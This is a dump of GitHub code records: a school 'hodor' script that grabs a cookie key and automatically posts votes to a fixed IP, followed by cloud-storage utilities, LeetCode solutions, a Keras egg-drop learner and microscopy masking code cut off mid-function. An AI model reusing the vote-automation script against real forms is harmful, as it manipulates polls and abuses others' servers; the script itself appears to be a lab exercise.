+{"seq_id":"30613728018","text":"#!/usr/bin/python3\nimport requests\nimport time\nimport os\n\nos.environ['no_proxy'] = '*'\n\nurl = 'http://158.69.76.135/level1.php'\n\nmyobj = {\n        'id': '1576',\n        'holdthedoor': \"Submit+Query\",\n        'key': None\n        }\n\nfor i in range(2):\n    \n    session = requests.Session()\n    session.trust_env = False\n    r = session.get(url)\n    myobj['key'] = r.cookies['HoldTheDoor']\n    x = session.post(url, data = myobj, timeout=2.5)\n    if i % 10 == 0:\n        print(i)\n","repo_name":"isaza00/holbertonschool-higher_level_programming","sub_path":"hodor/level1.py","file_name":"level1.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9901607744","text":"from google.cloud import storage\n\n\ndef blob_exists(bucket_name, file_name):\n    storage_client = storage.Client()\n    bucket = storage_client.bucket(bucket_name)\n    blob = bucket.blob(file_name)\n    return blob.exists()\n\n\ndef rename_blob(bucket_name, blob_name, new_name):\n    \"\"\"Renames a blob.\"\"\"\n    # The ID of your GCS bucket\n    # bucket_name = \"your-bucket-name\"\n    # The ID of the GCS object to rename\n    # blob_name = \"your-object-name\"\n    # The new ID of the GCS object\n    # new_name = \"new-object-name\"\n\n    storage_client = storage.Client()\n    bucket = storage_client.bucket(bucket_name)\n    blob = bucket.blob(blob_name)\n    new_blob = bucket.rename_blob(blob, new_name)\n\n    print(\"Blob {} has been renamed to {}\".format(blob.name, new_blob.name))\n\n\ndef delete_all_blobs(bucket_name):\n    my_storage = storage.Client()\n    bucket = my_storage.get_bucket(bucket_name)\n    blobs = bucket.list_blobs()\n    for blob in blobs:\n        blob.delete()\n\n\ndef delete_blob(bucket_name, blob_name):\n    \"\"\"Deletes a blob from the bucket.\"\"\"\n    # bucket_name = \"your-bucket-name\"\n    # blob_name = \"your-object-name\"\n\n    storage_client = storage.Client()\n\n    bucket = storage_client.bucket(bucket_name)\n    blob = bucket.blob(blob_name)\n    blob.delete()\n\n    print(\"Blob {} deleted.\".format(blob_name))\n\n\ndef get_file_reader(bucket_name, file_name):\n    storage_client = storage.Client()\n    bucket = storage_client.get_bucket(bucket_name)\n    blob = bucket.get_blob(file_name)\n    reader = blob.open(\"r\")\n    return reader\n\n\ndef get_file_writer(bucket_name, file_name):\n    storage_client = storage.Client()\n    bucket = storage_client.get_bucket(bucket_name)\n    blob = bucket.blob(file_name)\n    writer = blob.open(\"w\")\n    return writer\n\ndef remove_timestamp(line):\n    words = line.split(\",\")\n    return words[1]\n\n\ndef change_file_extenstion(csv_file_name):\n    return csv_file_name.replace(\"csv\", \"ecg\")\n\n\ndef convert_to_ecg(csv_file_reader, ecg_file_writer):\n    while True:\n        line = csv_file_reader.readline()\n\n        if not line:\n            break\n\n        if line != '\\n':\n            ecg_file_writer.write(remove_timestamp(line))\n\n\ndef ecg_conversion(event, context):\n    \"\"\"Triggered by a change to a Cloud Storage bucket.\n    Args:\n         event (dict): Event payload.\n         context (google.cloud.functions.Context): Metadata for the event.\n    \"\"\"\n    file = event\n    bucket_name = file['bucket']\n    blob_name = file['name']\n\n    csv_file_reader = get_file_reader(bucket_name, blob_name)\n    ecg_file_writer = get_file_writer(\"innovation-ecg-files\", change_file_extenstion(blob_name))\n\n    convert_to_ecg(csv_file_reader, ecg_file_writer)\n\n    csv_file_reader.close()\n    ecg_file_writer.flush()\n    ecg_file_writer.close()","repo_name":"david-todorov-innovation/ecg-files-pipeline","sub_path":"main_ecg.py","file_name":"main_ecg.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70208041609","text":"family_dict = {\n    ('Сидоров', 'Никита'): 35,\n    ('Сидорова', 'Алина'): 34,\n    ('Сидоров', 'Павел'): 10,\n    ('Рыжов', 'Константин'): 40,\n    ('Рыжова', 'Ольга'): 37,\n    ('Рыжова', 'Алиса'): 12,\n    ('Рыжов', 'Дмитрий'): 8,\n}\n\nsurname = input('Введите фамилию: ')\n\nprint()\nfor key, value in family_dict.items():\n    if key[0] == surname or key[0] == surname + 'а':\n        print(f'{key[0]} {key[1]} {value}')","repo_name":"hummius/Python_basic","sub_path":"Module20/05_one_family/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26150703190","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def generateTrees(self, n: int) -> List[Optional[TreeNode]]:\n        # [l, r]\n        def generateDFS(l, r):\n            res = []\n            if l > r:\n                res.append(None)\n                return res\n\n            # choose i as root\n            for i in range(l, r+1):\n                leftTree = generateDFS(l, i-1)\n                rightTree = generateDFS(i+1, r)\n\n                for leftNode in leftTree:\n                    for rightNode in rightTree:\n                        root = TreeNode(i)\n                        root.left = leftNode\n                        root.right = rightNode\n                        res.append(root)\n            return res\n                \n        return generateDFS(1, n)","repo_name":"Vergil0327/leetcode-history","sub_path":"Trees/95. Unique Binary Search Trees II/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31829104891","text":"import random\nimport numpy as np\nimport pandas as pd\nfrom keras.optimizers import Adam, RMSprop\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout\nfrom keras.layers import Activation\nfrom keras import backend as K\n\n\n# def AmaderRelu(x):\n#     return K.relu(x, max_value=1.0, threshold=0.01)\n\n\nclass GameLearner:\n    def __init__(self):\n        self.reward = 0\n        self.gamma = 0.8\n        self.alpha = 0.8\n        self.short_memory = np.array([])\n        self.learning_rate = 0.0005\n        self.model = self.network()\n        # self.model = self.network(\"weights.hdf5\")\n        self.epsilon = 0\n        self.actual = []\n        self.memory = []\n\n    def get_state(self, game):\n        state = [game.eggCount, game.floor, game.progressing]\n        return np.asarray(state)\n\n    def set_reward(self, game):\n        self.reward = 0\n        extraPenalty = game.getRewardVal()\n        # if game is won\n        if game.targetReached():\n            # if 1 egg remains\n            if game.eggCount == 1:\n                self.reward = 100\n            # if 0 eggs remain\n            elif game.eggCount == 0:\n                self.reward = 50\n        # if an egg was broken and it was a wrong guess\n        elif game.isStateChange():\n            # if the agent is guessing towards the correct answer\n            if game.progressing:\n                if game.eggCount == 1:\n                    self.reward = -(5 + extraPenalty)\n                elif game.eggCount == 0:\n                    self.reward = -(15 + extraPenalty) #game end\n            # if the agent is guessing away from the correct answer\n            else:\n                if game.eggCount == 1:\n                    self.reward = -(20 + extraPenalty)\n                elif game.eggCount == 0:\n                    self.reward = -(35 + extraPenalty) #game end\n        # if the egg did not break\n        else:\n            # if the agent is guessing towards the correct answer\n            if game.progressing:\n                if game.eggCount == 2:\n                    self.reward = -5 + int(100/extraPenalty)\n                elif game.eggCount == 1:\n                    self.reward = -10 + int(100/extraPenalty)\n            # if the agent is guessing away from the correct answer\n            else:\n                self.reward = - (5 + extraPenalty)\n        return self.reward\n\n\n    def network(self, weights=None):\n        model = Sequential()\n        model.add(Dense(output_dim=120, activation='relu', input_dim=3))\n        model.add(Dropout(0.15))\n        model.add(Dense(output_dim=120, activation='relu'))\n        model.add(Dropout(0.15))\n        model.add(Dense(output_dim=120, activation='relu'))\n        model.add(Dropout(0.15))\n        # output is 100 values, each value describing the probable reward on dropping the egg from that floor\n        # model.add(Dense(output_dim=100, activation='softmax'))\n        # opt = Adam(self.learning_rate)\n\n\n        model.add(Dense(input_dim=120, output_dim=100, activation='relu'))\n        opt = RMSprop(lr=self.learning_rate)\n\n        model.compile(loss='mse', optimizer=opt)\n\n        if weights:\n            model.load_weights(weights)\n        return model\n\n    def remember(self, state, action, reward, next_state, done):\n        self.memory.append((state, action, reward, next_state, done))\n\n    def replay_new(self, memory):\n        if len(memory) > 1000:\n            minibatch = random.sample(memory, 1000)\n        else:\n            minibatch = memory\n        for state, action, reward, next_state, done in minibatch:\n            target = reward\n            if not done:\n                target = reward + self.gamma * np.amax(self.model.predict(next_state.reshape((1, 3)))[0])\n            target_f = self.model.predict(np.array([state]))\n            target_f[0][np.argmax(action)] = target\n            self.model.fit(state.reshape((1, 3)), target_f, epochs=1, verbose=0)\n\n    def train_short_memory(self, state, action, reward, next_state, done):\n        target = reward\n        if not done:\n            pred = self.model.predict(next_state.reshape((1, 3)))[0]\n            #alpha is the learning rate\n            target = self.alpha * (reward + self.gamma * np.amax(pred))\n        target_f = self.model.predict(state.reshape((1, 3)))\n        target_f[0][np.argmax(action)] = target\n        self.model.fit(state.reshape((1, 3)), target_f, epochs=1, verbose=0)","repo_name":"souptikmakarov/Egg_Drop_Game","sub_path":"GameLearner.py","file_name":"GameLearner.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22473981604","text":"import unittest\n\ndata = ((\"sadbutsad\", \"sad\", 0), (\"leetcode\", \"leeto\", -1))\n\n\nclass Solution:\n    def strStr(self, haystack: str, needle: str) -> int:\n        needle_len = len(needle)\n        for index in range(0, len(haystack) - needle_len + 1):\n            if haystack[index : index + needle_len] == needle:\n                return index\n        return -1\n\n\nclass TestCase(unittest.TestCase):\n    def test_solution(self):\n        s = Solution()\n\n        for haystack, needle, index in data:\n            self.assertEqual(index, s.strStr(haystack, needle))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"cybernextgen/leetcode","sub_path":"medium/28-find-the-index-of-the-first-occurrence-in-a-string.py","file_name":"28-find-the-index-of-the-first-occurrence-in-a-string.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5889023516","text":"#imports\nimport pathlib, cv2, copy\nimport numpy as np\nfrom ...utilities.miscfileio import cd\nfrom ...utilities.img_file_io import smooth_image_worker, im3writeraw, write_image_to_file, get_raw_as_hwl\nfrom .config import CONST\nfrom .plotting import do_masking_plots_for_image\nfrom .utilities import LabelledMaskRegion, get_enumerated_mask, get_size_filtered_mask, get_thresholded_image_compiled\nfrom .utilities import normalize_compiled, get_morphed_and_filtered_mask, get_exclusive_mask\nfrom .utilities import get_image_layer_local_variance_of_normalized_laplacian, get_double_thresholded_image_compiled\n\nclass ImageMask() :\n    \"\"\"\n    Class to store and work with a mask for an image\n    \"\"\"\n\n    #################### PROPERTIES ####################\n\n    @property\n    def packed_tissue_mask(self) : #the binary tissue mask packed using np.packbits\n        if self.__tissue_mask is None :\n            raise RuntimeError('ERROR: pasked_tissue_mask called before setting a tissue mask')\n        return np.packbits(self.__tissue_mask)\n    @property\n    def compressed_mask(self): #the compressed mask with (# layers groups)+1 layers\n        if self.__compressed_mask is None :\n            raise RuntimeError('ERROR: compressed_mask called without first creating a mask!')\n        return self.__compressed_mask\n    @property\n    def onehot_mask(self) : #the mask with good tissue=1, everything else=0\n        return (np.where(self.uncompressed_full_mask==1,1,0)).astype(np.uint8)\n    @property\n    def uncompressed_full_mask(self): #the uncompressed mask with the real number of image layers\n        if self.__compressed_mask is None :\n            raise RuntimeError('ERROR: uncompressed_full_mask called without first creating a mask!')\n        nlayers = 0\n        for lgb in self.__layer_groups.values() :\n            if lgb[1]>nlayers :\n                nlayers=lgb[1]\n        uncompressed_mask = np.ones((*self.__compressed_mask.shape[:-1],nlayers),dtype=np.uint8)\n        for lgi,lgb in enumerate(self.__layer_groups.values()) :\n            for ln in range(lgb[0],lgb[1]+1) :\n                uncompressed_mask[:,:,ln-1] = self.__compressed_mask[:,:,lgi+1]\n        return uncompressed_mask\n    @property\n    def labelled_mask_regions(self):\n        return self._labelled_mask_regions #the list of labelled mask region objects for this mask\n\n    #################### PUBLIC FUNCTIONS ####################\n\n    def __init__(self,im_array,layer_groups,brightest_layers,im_key,bg_thresholds,norm_ets) :\n        \"\"\"\n        im_array          = the multilayer image array whose mask should be created \n                            (may already be corrected to a set of exposure times)\n        layer_groups      = a dictionary of the different image layer groups and their bounds\n        brightest_layers  = the brightest layers in each group (used for plotting)\n        im_key            = the string representing the key of the image filename \n                            (used as a prepend to the masking file name and in labelled mask regions)\n        bg_thresholds     = a list of the background intensity thresholds in counts in each image layer\n        norm_ets          = a list of the exposure times to which the image layers have been normalized \n\n        The last three arguments are only needed (and the last two are required) to save plots for this image\n        \"\"\"\n        #always start out using the GPU\n        self.use_gpu = True\n        #set the layer groups for the image\n        self.__layer_groups=layer_groups\n        #set the number of layers in each group that can be missed and still have the region flagged\n        self.__fold_flag_cuts = {}\n        for lgn,lgb in self.__layer_groups.items() :\n            nlayers = lgb[1]-lgb[0]+1\n            if nlayers<6 :\n                self.__fold_flag_cuts[lgn] = 0\n            elif nlayers<9 :\n                self.__fold_flag_cuts[lgn] = 1\n            else :\n                if lgn.startswith('vectra') :\n                    self.__fold_flag_cuts[lgn] = 3\n                elif lgn.startswith('polaris') :\n                    self.__fold_flag_cuts[lgn] = 1\n                else :\n                    raise ValueError(f'Could not determine fold flag cuts for layer group {lgn} with bounds {lgb}')\n        #set which layers are the brightest\n        self.__bright_layers=brightest_layers\n        #apply smoothing to Vectra images only\n        microscope_name = ((list(self.__layer_groups.keys())[0]).split('_'))[0]\n        if microscope_name=='vectra' :\n            self.__blur_mask_sm_img_array = smooth_image_worker(im_array,CONST.BLUR_MASK_SMOOTHING_SIGMA,self.use_gpu)\n        elif microscope_name=='polaris' :\n            self.__blur_mask_sm_img_array = im_array\n        else :\n            raise ValueError(f'ERROR: unrecognized microscope name \"{microscope_name}\"!')\n        #set some other variables\n        self.__im_array = im_array\n        self.__image_key = im_key\n        self.__bg_thresholds = np.array(bg_thresholds)\n        self.__norm_ets = np.array(norm_ets)\n        #create the tissue mask\n        self.__tissue_mask = self.__get_image_tissue_mask()\n        #create the blur mask (possibly with some plots)\n        self.__blur_mask = self.__get_image_blur_mask()\n        #create the saturation masks (one for each layer group)\n        self.__saturation_masks = self.__get_image_saturation_masks()\n        #make the compressed mask and the list of labelled mask regions\n        self.__make_compressed_mask_and_list_of_mask_regions()\n\n    def save_mask_files(self,savedir) :\n        \"\"\"\n        Write out the actual mask files to the path given by savedir\n        \"\"\"\n        #if there is anything flagged in the final blur and saturation masks, write out the compressed mask\n        is_masked = np.min(self.__blur_mask)<1\n        if not is_masked :\n            for lgsm in self.__saturation_masks.values() :\n                if np.min(lgsm)<1 :\n                    is_masked=True\n                    break\n        if not savedir.is_dir() :\n            savedir.mkdir()\n        with cd(savedir) :\n            im3writeraw(f'{self.__image_key}_tissue_mask.bin',self.packed_tissue_mask)\n            if is_masked :\n                write_image_to_file(self.__compressed_mask,f'{self.__image_key}_full_mask.bin',dtype=np.uint8)\n\n    def save_plots(self,orig_ets,et_hists_and_bins,savedir=None) :\n        \"\"\"\n        Make and save the sheet of plots for this image if requested\n\n        orig_ets          = a list of the given image's ORIGINAL exposure times in each layer \n                            (before any corrections were applied)  \n        et_hists_and_bins = a dict of exposure time histograms and their bins in each layer group. \n        savedir           = path to the directory in which the plot(s) should be saved \n                            (if None the plots will be written in the current directory)\n        \"\"\"\n        all_plots = []\n        for lgi,(lgn,lgb) in enumerate(self.__layer_groups.items()) :\n            fold_nlv_cut = CONST.FOLD_NLV_CUTS[lgn]\n            fold_nlv_max_mean = CONST.FOLD_MAX_MEANS[lgn]\n            fold_flag_cut = self.__fold_flag_cuts[lgn]\n            group_blur_mask,stacked_masks = self.__get_image_layer_group_blur_mask(lgn,fold_nlv_cut,\n                                                                                   fold_nlv_max_mean,fold_flag_cut)\n            plot_img_layer = self.__im_array[:,:,self.__bright_layers[lgi]]\n            sorted_pil = np.sort(plot_img_layer[group_blur_mask==1].flatten())\n            if len(sorted_pil)>0 :\n                pil_max = sorted_pil[int(0.95*len(sorted_pil))]; pil_min = sorted_pil[0]\n            else :\n                pil_max = np.max(plot_img_layer); pil_min = np.min(plot_img_layer)\n            norm = 255./(pil_max-pil_min)\n            im_c = (np.clip(norm*(plot_img_layer-pil_min),0,255)).astype(np.uint8)\n            overlay_c = np.array([im_c,im_c*group_blur_mask,im_c*group_blur_mask]).transpose(1,2,0)\n            plots = [{'image':plot_img_layer,'title':f'raw IMAGE layer {self.__bright_layers[lgi]}'},\n                     {'image':overlay_c,'title':f'layer {lgb[0]}-{lgb[1]} blur mask overlay (clipped)'}]\n            plots.append({'bar':et_hists_and_bins[lgn][0],\n                          'bins':et_hists_and_bins[lgn][1],\n                          'xlabel':f'layer {lgb[0]}-{lgb[1]} exposure times (ms)',\n                          'line_at':orig_ets[lgb[0]-1]})\n            plots.append({'image':self.__im_nlv[:,:,self.__bright_layers[lgi]],\n                          'title':'local variance of normalized laplacian'})\n            plots.append({'hist':self.__im_nlv[:,:,self.__bright_layers[lgi]].flatten(),\n                          'xlabel':'variance of normalized laplacian',\n                          'line_at':fold_nlv_cut})\n            plots.append({'image':stacked_masks,\n                          'title':f'stacked layer masks (cut at {fold_flag_cut})',\n                          'cmap':'gist_ncar',\n                          'vmin':0,'vmax':lgb[1]-lgb[0]+1})\n            all_plots.append(plots)\n        do_masking_plots_for_image(self.__image_key,self.__tissue_mask,all_plots,self.__compressed_mask,savedir)\n\n    #unpack, reshape, and return a tissue mask from its packed mask file\n    @staticmethod\n    def unpack_tissue_mask(filepath,dimensions) :\n        if not pathlib.Path(filepath).is_file() :\n            raise FileNotFoundError(f'ERROR: tissue mask file {filepath} does not exist!')\n        packed_mask = np.memmap(filepath,dtype=np.uint8,mode='r')\n        return (np.unpackbits(packed_mask)).reshape(dimensions)\n\n    #get a one-hot, fully-layered mask from a given blur/saturation mask filepath\n    @staticmethod\n    def onehot_mask_from_full_mask_file(samp,filepath) :\n        if not pathlib.Path(filepath).is_file() :\n            raise FileNotFoundError(f'ERROR: blur/saturation mask file {filepath} does not exist!')\n        dimensions = (samp.fheight,samp.fwidth,samp.nlayersim3)\n        read_mask = get_raw_as_hwl(filepath,*(dimensions[:-1]),len(samp.layer_groups)+1,dtype=np.uint8)\n        return_mask = np.zeros(dimensions,dtype=np.uint8)\n        for lgi,lgb in enumerate(samp.layer_groups.values()) :\n            return_mask[:,:,lgb[0]-1:lgb[1]][read_mask[:,:,lgi+1]==1] = 1\n        return return_mask\n\n    #get a one-hot, fully-layered mask from a given blur/saturation mask filepath, ignoring regions flagged for blur\n    @staticmethod\n    def onehot_mask_from_full_mask_file_no_blur(samp,filepath) :\n        if not pathlib.Path(filepath).is_file() :\n            raise FileNotFoundError(f'ERROR: blur/saturation mask file {filepath} does not exist!')\n        dimensions = (samp.fheight,samp.fwidth,samp.nlayersim3)\n        read_mask = get_raw_as_hwl(filepath,*(dimensions[:-1]),len(samp.layer_groups)+1,dtype=np.uint8)\n        max_blur_index = np.max(read_mask[:,:,0])\n        return_mask = np.zeros(dimensions,dtype=np.uint8)\n        for lgi,lgb in enumerate(samp.layer_groups.values()) :\n            tissue_or_blur_slice = np.logical_or(read_mask[:,:,lgi+1]==1,\n                                                 np.logical_and(read_mask[:,:,lgi+1]>1,\n                                                                read_mask[:,:,lgi+1]<=max_blur_index))\n            return_mask[:,:,lgb[0]-1:lgb[1]][tissue_or_blur_slice] = 1\n        return return_mask\n\n    #################### PRIVATE HELPER FUNCTIONS ####################\n\n    def __get_image_tissue_mask(self) :\n        \"\"\"\n        return the fully-determined overall tissue mask as a 2d array of ones and zeroes for a given multilayer image\n        \"\"\"\n        #smooth the image\n        sm_img_array = smooth_image_worker(self.__im_array,CONST.TISSUE_MASK_SMOOTHING_SIGMA,gpu=self.use_gpu)\n        #threshold all the image layers\n        thresholded_image = get_thresholded_image_compiled(sm_img_array,\n                                                           self.__bg_thresholds[np.newaxis,np.newaxis,:])\n        #make masks for each individual layer\n        layer_masks = []\n        for li in range(self.__im_array.shape[-1]) :\n            if self.use_gpu :\n                try :\n                    #convert to UMat to use on the GPU\n                    layer_mask = cv2.UMat(thresholded_image[:,:,li])\n                except Exception :\n                    self.use_gpu = False\n            if not self.use_gpu :\n                layer_mask = thresholded_image[:,:,li]\n            #small close/open\n            cv2.morphologyEx(layer_mask,cv2.MORPH_CLOSE,CONST.SMALL_CO_EL,layer_mask,borderType=cv2.BORDER_REPLICATE)\n            cv2.morphologyEx(layer_mask,cv2.MORPH_OPEN,CONST.SMALL_CO_EL,layer_mask,borderType=cv2.BORDER_REPLICATE)\n            if self.use_gpu :\n                layer_mask = layer_mask.get()\n            layer_masks.append(layer_mask)\n        #find the well-defined tissue and background in each layer group\n        overall_tissue_mask = np.zeros_like(layer_masks[0])\n        overall_background_mask = np.zeros_like(layer_masks[0])\n        total_stacked_masks = np.zeros_like(layer_masks[0])\n        #for each layer group\n        for lgn,lgb in self.__layer_groups.items() :\n            stacked_masks = np.zeros_like(layer_masks[0])\n            for ln in range(lgb[0],lgb[1]+1) :\n                stacked_masks+=layer_masks[ln-1]\n            total_stacked_masks+=stacked_masks\n            #well-defined tissue is anything called tissue in at least all but two layers\n            overall_tissue_mask[stacked_masks>(lgb[1]-lgb[0]-1)]+=10 if lgn.endswith('dapi') else 1\n            #well-defined background is anything called background in at least half the layers\n            overall_background_mask[stacked_masks<(lgb[1]-lgb[0]+1)/2.]+=10 if lgn.endswith('dapi') else 1\n        #threshold tissue/background masks to include only those from the DAPI and at least one other layer group\n        overall_tissue_mask = get_thresholded_image_compiled(overall_tissue_mask,10)\n        overall_background_mask = get_thresholded_image_compiled(overall_background_mask,10)\n        #final mask has tissue=1, background=0\n        final_mask = np.zeros_like(layer_masks[0])+2\n        final_mask[overall_tissue_mask==1] = 1\n        final_mask[overall_background_mask==1] = 0\n        #anything left over is signal if it's stacked in at least 60% of the total number of layers\n        thresholded_stacked_masks = get_thresholded_image_compiled(total_stacked_masks,\n                                                                   0.6*self.__im_array.shape[-1])\n        final_mask[final_mask==2] = thresholded_stacked_masks[final_mask==2]\n        if np.min(final_mask) != np.max(final_mask) :\n            #filter the tissue and background portions to get rid of the small islands\n            final_mask = get_size_filtered_mask(final_mask,min_size=CONST.TISSUE_MIN_SIZE)\n            if self.use_gpu :\n                try :\n                    #convert to UMat\n                    final_mask = cv2.UMat(final_mask)\n                except Exception :\n                    self.use_gpu = False\n            #medium size close/open to smooth out edges\n            cv2.morphologyEx(final_mask,cv2.MORPH_CLOSE,CONST.MEDIUM_CO_EL,final_mask,borderType=cv2.BORDER_REPLICATE)\n            cv2.morphologyEx(final_mask,cv2.MORPH_OPEN,CONST.MEDIUM_CO_EL,final_mask,borderType=cv2.BORDER_REPLICATE)\n            if self.use_gpu :\n                final_mask = final_mask.get()\n        return final_mask\n\n    def __get_image_blur_mask(self) :\n        \"\"\"\n        return the single blur mask for an image (multilayer \"tissue fold\" blur and single-layer \"dust\" blur combined)\n        \"\"\"\n        #first set the normalized laplacian variance of the image\n        self.__im_nlv = np.zeros(self.__im_array.shape,dtype=np.float32)\n        for li in range(self.__im_array.shape[-1]) :\n            try :\n                layer_nlv = get_image_layer_local_variance_of_normalized_laplacian(self.__blur_mask_sm_img_array[:,:,li],\n                                                                                   self.use_gpu)\n            except Exception :\n                self.use_gpu = False\n                layer_nlv = get_image_layer_local_variance_of_normalized_laplacian(self.__blur_mask_sm_img_array[:,:,li],\n                                                                                   self.use_gpu)\n            self.__im_nlv[:,:,li] = layer_nlv\n        #then set the local mean of the normalized laplacian variance\n        self.__im_nlv_loc_mean = np.zeros_like(self.__im_nlv)\n        for li in range(self.__im_array.shape[-1]) :\n            layer_nlv_loc_mean = np.empty_like(self.__im_nlv[:,:,li])\n            if self.use_gpu :\n                try :\n                    layer_nlv_loc_mean = cv2.UMat(layer_nlv_loc_mean)\n                except Exception :\n                    self.use_gpu = False\n            cv2.filter2D(self.__im_nlv[:,:,li],cv2.CV_32F,CONST.SMALLER_WINDOW_EL,layer_nlv_loc_mean,\n                         borderType=cv2.BORDER_REFLECT)\n            if self.use_gpu :\n                layer_nlv_loc_mean=layer_nlv_loc_mean.get()\n            layer_nlv_loc_mean=normalize_compiled(layer_nlv_loc_mean,np.sum(CONST.SMALLER_WINDOW_EL))\n            self.__im_nlv_loc_mean[:,:,li] = layer_nlv_loc_mean\n        #find the tissue fold mask, beginning with each layer group separately\n        fold_masks_by_layer_group = {}\n        for lgn in self.__layer_groups.keys() :\n            lgtfm,_ = self.__get_image_layer_group_blur_mask(lgn,\n                                                             CONST.FOLD_NLV_CUTS[lgn],\n                                                             CONST.FOLD_MAX_MEANS[lgn],\n                                                             self.__fold_flag_cuts[lgn])\n            fold_masks_by_layer_group[lgn] = lgtfm\n        #combine the layer group blur masks to get the final mask for all layers\n        stacked_fold_masks = np.zeros_like(fold_masks_by_layer_group[list(self.__layer_groups.keys())[0]])\n        for lgn,layer_group_fold_mask in fold_masks_by_layer_group.items() :\n            to_add = 10 if lgn.endswith('dapi') or lgn.endswith('fitc') else 1\n            stacked_fold_masks[layer_group_fold_mask==0]+=to_add\n        #flag anything flagged in at least one of the DAPI and FITC layer groups plus at least 3 other layer groups, \n        # or both the DAPI and FITC layer groups\n        overall_fold_mask = get_thresholded_image_compiled(stacked_fold_masks,12,invert=True)\n        #morph and filter the mask using the common operations\n        try :\n            tissue_fold_mask = get_morphed_and_filtered_mask(overall_fold_mask,self.__tissue_mask,\n                                                             CONST.FOLD_MIN_PIXELS,CONST.FOLD_MIN_SIZE,self.use_gpu)\n        except Exception :\n            self.use_gpu = False\n            tissue_fold_mask = get_morphed_and_filtered_mask(overall_fold_mask,self.__tissue_mask,\n                                                             CONST.FOLD_MIN_PIXELS,CONST.FOLD_MIN_SIZE,self.use_gpu)\n        #get dust masks for the blurriest areas of the DAPI layer group\n        dapi_group_name = None\n        for lgn in self.__layer_groups.keys() :\n            if lgn.endswith('dapi') :\n                if dapi_group_name is not None :\n                    errmsg = f'ERROR: more than one DAPI layer group name found! Layer groups: {self.__layer_groups}'\n                    raise ValueError(errmsg)\n                dapi_group_name = lgn\n        if dapi_group_name is None :\n            raise RuntimeError(f'ERROR: no DAPI layer group found! Layer groups: {self.__layer_groups}')\n        dapi_layer_group = self.__layer_groups[dapi_group_name]\n        n_layers_dust_flag_cut = 0.5*(dapi_layer_group[1]-dapi_layer_group[0]+1)\n        dapi_dust_mask,_ = self.__get_image_layer_group_blur_mask(dapi_group_name,\n                                                                  CONST.DUST_NLV_CUTS[dapi_group_name],\n                                                                  CONST.DUST_MAX_MEANS[dapi_group_name],\n                                                                  n_layers_dust_flag_cut)\n        #same morphology transformations as for the multilayer blur masks\n        try :\n            morphed_dapi_dust_mask = get_morphed_and_filtered_mask(dapi_dust_mask,self.__tissue_mask,\n                                                                   CONST.DUST_MIN_PIXELS,CONST.DUST_MIN_SIZE,\n                                                                   self.use_gpu)\n        except Exception :\n            self.use_gpu = False\n            morphed_dapi_dust_mask = get_morphed_and_filtered_mask(dapi_dust_mask,self.__tissue_mask,\n                                                                   CONST.DUST_MIN_PIXELS,CONST.DUST_MIN_SIZE,\n                                                                   self.use_gpu)\n        #make sure any regions in that mask are sufficiently exclusive w.r.t. what's already flagged as blurry\n        exclusive_dapi_dust_mask = get_exclusive_mask(morphed_dapi_dust_mask,tissue_fold_mask,0.25)\n        #combine the multilayer and single layer blur masks into one by multiplying them together\n        final_blur_mask = tissue_fold_mask*exclusive_dapi_dust_mask\n        #return the blur mask\n        return final_blur_mask\n\n    def __get_image_layer_group_blur_mask(self,layer_group_name,nlv_cut,max_mean,n_layers_flag_cut) :\n        \"\"\"\n        return a blur mask for a given image layer group\n\n        layer_group_name  = the name of the layer group whose blur mask should be returned\n        nlv_cut           = the max value of the normalized laplacian variance below which \n                            a region should be flagged as blurred\n        max_mean          = the maximum allowed mean of the normalized laplacian variance within \n                            any window-sized region to allow the region to be flagged\n        n_layers_flag_cut = the number of layers in the group that can remain unflagged \n                            while still calling the region overall blurry in this layer group\n        \"\"\"\n        #start by making a mask for every layer in the group\n        stacked_masks = np.zeros(self.__im_array.shape[:-1],dtype=np.uint8)\n        for ln in range(self.__layer_groups[layer_group_name][0],self.__layer_groups[layer_group_name][1]+1) :\n            #get the local variance of the normalized laplacian image\n            layer_nlv = self.__im_nlv[:,:,ln-1]\n            #get the mean of those local normalized laplacian variance values in the window size\n            layer_nlv_loc_mean = self.__im_nlv_loc_mean[:,:,ln-1]\n            #threshold on the local variance of the normalized laplacian and its local mean to make a binary mask\n            layer_mask = get_double_thresholded_image_compiled(layer_nlv,nlv_cut,layer_nlv_loc_mean,max_mean)\n            if np.min(layer_mask) != np.max(layer_mask) :\n                if self.use_gpu :\n                    try :\n                        #convert to UMat\n                        layer_mask = cv2.UMat(layer_mask)\n                    except Exception :\n                        self.use_gpu = False\n                #small open/close to refine it\n                cv2.morphologyEx(layer_mask,cv2.MORPH_OPEN,CONST.SMALL_CO_EL,layer_mask,\n                                 borderType=cv2.BORDER_REPLICATE)\n                cv2.morphologyEx(layer_mask,cv2.MORPH_CLOSE,CONST.SMALL_CO_EL,layer_mask,\n                                 borderType=cv2.BORDER_REPLICATE)\n                #erode by the smaller window element\n                cv2.morphologyEx(layer_mask,cv2.MORPH_ERODE,CONST.SMALLER_WINDOW_EL,layer_mask,\n                                 borderType=cv2.BORDER_REPLICATE)\n                if self.use_gpu :\n                    layer_mask = layer_mask.get()\n            #add it to the stack \n            stacked_masks+=layer_mask\n        #determine the final mask for this group by thresholding on how many individual layers contribute\n        group_blur_mask = get_thresholded_image_compiled(stacked_masks,n_layers_flag_cut)\n        #return the blur mask and the stack of masks for the layer group\n        return group_blur_mask, stacked_masks\n\n    def __get_image_saturation_masks(self) :\n        \"\"\"\n        Return the dict of saturation 